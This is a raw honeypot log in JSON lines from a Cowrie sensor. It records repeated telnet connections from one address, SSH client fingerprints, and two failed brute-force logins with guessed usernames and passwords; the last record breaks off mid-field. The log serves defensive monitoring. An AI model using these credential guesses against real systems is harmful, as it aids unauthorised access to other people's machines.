{"eventid":"cowrie.session.closed","duration":25.36909008026123,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:22.473389Z","src_ip":"209.205.218.26","session":"8ca703df8204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:22.736960Z","src_ip":"4.213.160.153","session":"641884835b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":37692,"dst_ip":"10.17.0.5","dst_port":23,"session":"20b3e4e2e452","protocol":"telnet","message":"New connection: 209.205.218.26:37692 (10.17.0.5:23) [session: 20b3e4e2e452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:23.438771Z"}
{"eventid":"cowrie.session.closed","duration":36.93215012550354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:23.772506Z","src_ip":"209.205.218.26","session":"310c81cefc7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00552272796631,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:24.651021Z","src_ip":"209.205.218.26","session":"5bd80e51b96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.36897253990173,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:26.039431Z","src_ip":"209.205.218.26","session":"f256bac777e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":37918,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9f741d51b7","protocol":"telnet","message":"New connection: 209.205.218.26:37918 (10.17.0.5:23) [session: ad9f741d51b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:26.372594Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":37972,"dst_ip":"10.17.0.5","dst_port":23,"session":"780f1dcd12f2","protocol":"telnet","message":"New connection: 209.205.218.26:37972 (10.17.0.5:23) [session: 780f1dcd12f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:26.816890Z"}
{"eventid":"cowrie.session.closed","duration":37.559359550476074,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:27.392610Z","src_ip":"209.205.218.26","session":"fa3fa60c9992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.278900146484375,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:28.195804Z","src_ip":"209.205.218.26","session":"80ffd2081059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14696145057678,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:28.926484Z","src_ip":"209.205.218.26","session":"c0a2555088ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.588847398757935,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:30.120191Z","src_ip":"209.205.218.26","session":"98beac164622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.073678731918335,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:30.146418Z","src_ip":"209.205.218.26","session":"88b81edb6def","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":38581,"dst_ip":"10.17.0.5","dst_port":23,"session":"3efa40a7c1c5","protocol":"telnet","message":"New connection: 209.205.218.26:38581 (10.17.0.5:23) [session: 3efa40a7c1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:32.167626Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":38897,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5948b95ff6b","protocol":"telnet","message":"New connection: 209.205.218.26:38897 (10.17.0.5:23) [session: e5948b95ff6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:34.810980Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":38900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eac972eab47","protocol":"telnet","message":"New connection: 209.205.218.26:38900 (10.17.0.5:23) [session: 4eac972eab47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:34.829614Z"}
{"eventid":"cowrie.session.closed","duration":35.85711073875427,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:35.451237Z","src_ip":"209.205.218.26","session":"1f35025463eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39019,"dst_ip":"10.17.0.5","dst_port":23,"session":"65abb9a8cfce","protocol":"telnet","message":"New connection: 209.205.218.26:39019 (10.17.0.5:23) [session: 65abb9a8cfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:35.674880Z"}
{"eventid":"cowrie.session.closed","duration":36.02375769615173,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:36.034297Z","src_ip":"209.205.218.26","session":"e099cf0a2dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39140,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf317fa6f6c","protocol":"telnet","message":"New connection: 209.205.218.26:39140 (10.17.0.5:23) [session: bdf317fa6f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:36.771322Z"}
{"eventid":"cowrie.session.closed","duration":36.74469065666199,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:37.753549Z","src_ip":"209.205.218.26","session":"14e759d11c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.26784038543701,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:39.415123Z","src_ip":"209.205.218.26","session":"0b81dbc25499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26924467086792,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:39.435603Z","src_ip":"209.205.218.26","session":"89a66969a70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.944090604782104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:39.499404Z","src_ip":"209.205.218.26","session":"206aa6057be6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39524,"dst_ip":"10.17.0.5","dst_port":23,"session":"e462be048d15","protocol":"telnet","message":"New connection: 209.205.218.26:39524 (10.17.0.5:23) [session: e462be048d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:40.110842Z"}
{"eventid":"cowrie.session.closed","duration":36.43405365943909,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:40.334322Z","src_ip":"209.205.218.26","session":"8d4d43a303af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.23218560218811,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:40.795432Z","src_ip":"209.205.218.26","session":"e8f8222a9a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39639,"dst_ip":"10.17.0.5","dst_port":23,"session":"1206fd3019ca","protocol":"telnet","message":"New connection: 209.205.218.26:39639 (10.17.0.5:23) [session: 1206fd3019ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:40.952253Z"}
{"eventid":"cowrie.session.closed","duration":36.17359232902527,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:40.975050Z","src_ip":"209.205.218.26","session":"dd62e4767b86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39687,"dst_ip":"10.17.0.5","dst_port":23,"session":"862cc738471b","protocol":"telnet","message":"New connection: 209.205.218.26:39687 (10.17.0.5:23) [session: 862cc738471b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:41.697793Z"}
{"eventid":"cowrie.session.closed","duration":36.93817138671875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:42.609274Z","src_ip":"209.205.218.26","session":"bd914bd08a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39779,"dst_ip":"10.17.0.5","dst_port":23,"session":"8658b2d0a2f0","protocol":"telnet","message":"New connection: 209.205.218.26:39779 (10.17.0.5:23) [session: 8658b2d0a2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:42.752454Z"}
{"eventid":"cowrie.session.closed","duration":37.58059644699097,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:42.951596Z","src_ip":"209.205.218.26","session":"5840dd5a8562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.311569929122925,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:44.205370Z","src_ip":"209.205.218.26","session":"ed17bc21364c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.88836479187012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:44.797595Z","src_ip":"209.205.218.26","session":"f742cd2f6f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02c75925cce","protocol":"telnet","message":"New connection: 209.205.218.26:39996 (10.17.0.5:23) [session: a02c75925cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:44.829154Z"}
{"eventid":"cowrie.session.closed","duration":36.33307695388794,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:44.982273Z","src_ip":"209.205.218.26","session":"7fdbf8ad1525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":40150,"dst_ip":"10.17.0.5","dst_port":23,"session":"40420cbf67fd","protocol":"telnet","message":"New connection: 209.205.218.26:40150 (10.17.0.5:23) [session: 40420cbf67fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:45.911541Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":40287,"dst_ip":"10.17.0.5","dst_port":23,"session":"465f751865f3","protocol":"telnet","message":"New connection: 209.205.218.26:40287 (10.17.0.5:23) [session: 465f751865f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:46.959619Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":40568,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3626889a85","protocol":"telnet","message":"New connection: 209.205.218.26:40568 (10.17.0.5:23) [session: bc3626889a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:49.709793Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":50620,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e6ee416b2b","protocol":"ssh","message":"New connection: 187.212.47.18:50620 (10.17.0.5:22) [session: 77e6ee416b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:50.193172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:50.198936Z","src_ip":"187.212.47.18","session":"77e6ee416b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:50.428356Z","src_ip":"187.212.47.18","session":"77e6ee416b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server1","message":"login attempt [server/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:50.760809Z","src_ip":"187.212.47.18","session":"77e6ee416b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:51.840967Z","src_ip":"187.212.47.18","session":"77e6ee416b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.023600816726685,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:52.370795Z","src_ip":"209.205.218.26","session":"49240a721e22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":60440,"dst_ip":"10.17.0.5","dst_port":22,"session":"33a5c9d135da","protocol":"ssh","message":"New connection: 211.186.79.173:60440 (10.17.0.5:22) [session: 33a5c9d135da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:53.019014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:53.028938Z","src_ip":"211.186.79.173","session":"33a5c9d135da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:53.205470Z","src_ip":"211.186.79.173","session":"33a5c9d135da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"P@$$w0rd","message":"login attempt [deploy/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:53.916250Z","src_ip":"211.186.79.173","session":"33a5c9d135da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.72546362876892,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:54.169433Z","src_ip":"209.205.218.26","session":"fb63e1b010e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:55.098218Z","src_ip":"211.186.79.173","session":"33a5c9d135da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.82873487472534,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:55.190076Z","src_ip":"209.205.218.26","session":"1c2e5f3c2c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":41203,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b054aa9e1f1","protocol":"telnet","message":"New connection: 209.205.218.26:41203 (10.17.0.5:23) [session: 1b054aa9e1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:55.438908Z"}
{"eventid":"cowrie.session.closed","duration":36.966628074645996,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:47:59.408510Z","src_ip":"209.205.218.26","session":"bd2f7bf8ee97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00507116317749,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:00.443712Z","src_ip":"209.205.218.26","session":"20b3e4e2e452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":41933,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50daf876260","protocol":"telnet","message":"New connection: 209.205.218.26:41933 (10.17.0.5:23) [session: c50daf876260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:01.157959Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":42220,"dst_ip":"10.17.0.5","dst_port":23,"session":"2791fba41418","protocol":"telnet","message":"New connection: 209.205.218.26:42220 (10.17.0.5:23) [session: 2791fba41418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:03.736856Z"}
{"eventid":"cowrie.session.closed","duration":37.13483905792236,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:03.951615Z","src_ip":"209.205.218.26","session":"780f1dcd12f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":42267,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7e85b015ba","protocol":"telnet","message":"New connection: 209.205.218.26:42267 (10.17.0.5:23) [session: 6e7e85b015ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:04.089761Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":42357,"dst_ip":"10.17.0.5","dst_port":23,"session":"57fc5a9bf070","protocol":"telnet","message":"New connection: 209.205.218.26:42357 (10.17.0.5:23) [session: 57fc5a9bf070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:05.497260Z"}
{"eventid":"cowrie.session.closed","duration":36.494025468826294,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:08.661520Z","src_ip":"209.205.218.26","session":"3efa40a7c1c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":42883,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14ad89e56a2","protocol":"telnet","message":"New connection: 209.205.218.26:42883 (10.17.0.5:23) [session: a14ad89e56a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:10.514064Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":42903,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b660e2e430","protocol":"telnet","message":"New connection: 209.205.218.26:42903 (10.17.0.5:23) [session: 21b660e2e430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:10.672060Z"}
{"eventid":"cowrie.session.closed","duration":26.067986011505127,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:10.896971Z","src_ip":"209.205.218.26","session":"a02c75925cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.52374053001404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:11.353256Z","src_ip":"209.205.218.26","session":"4eac972eab47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.205.218.26","src_port":43121,"dst_ip":"10.17.0.5","dst_port":23,"session":"750c20bb9b0c","protocol":"telnet","message":"New connection: 209.205.218.26:43121 (10.17.0.5:23) [session: 750c20bb9b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.022632Z"}
{"eventid":"cowrie.session.closed","duration":0.004627227783203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.027148Z","src_ip":"209.205.218.26","session":"750c20bb9b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17655,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbefb49044a4","protocol":"ssh","message":"New connection: 2.57.121.112:17655 (10.17.0.5:22) [session: fbefb49044a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.301270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.306618Z","src_ip":"2.57.121.112","session":"fbefb49044a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68036246299744,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:48:12.355118Z","src_ip":"209.205.218.26","session":"65abb9a8cfce","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cb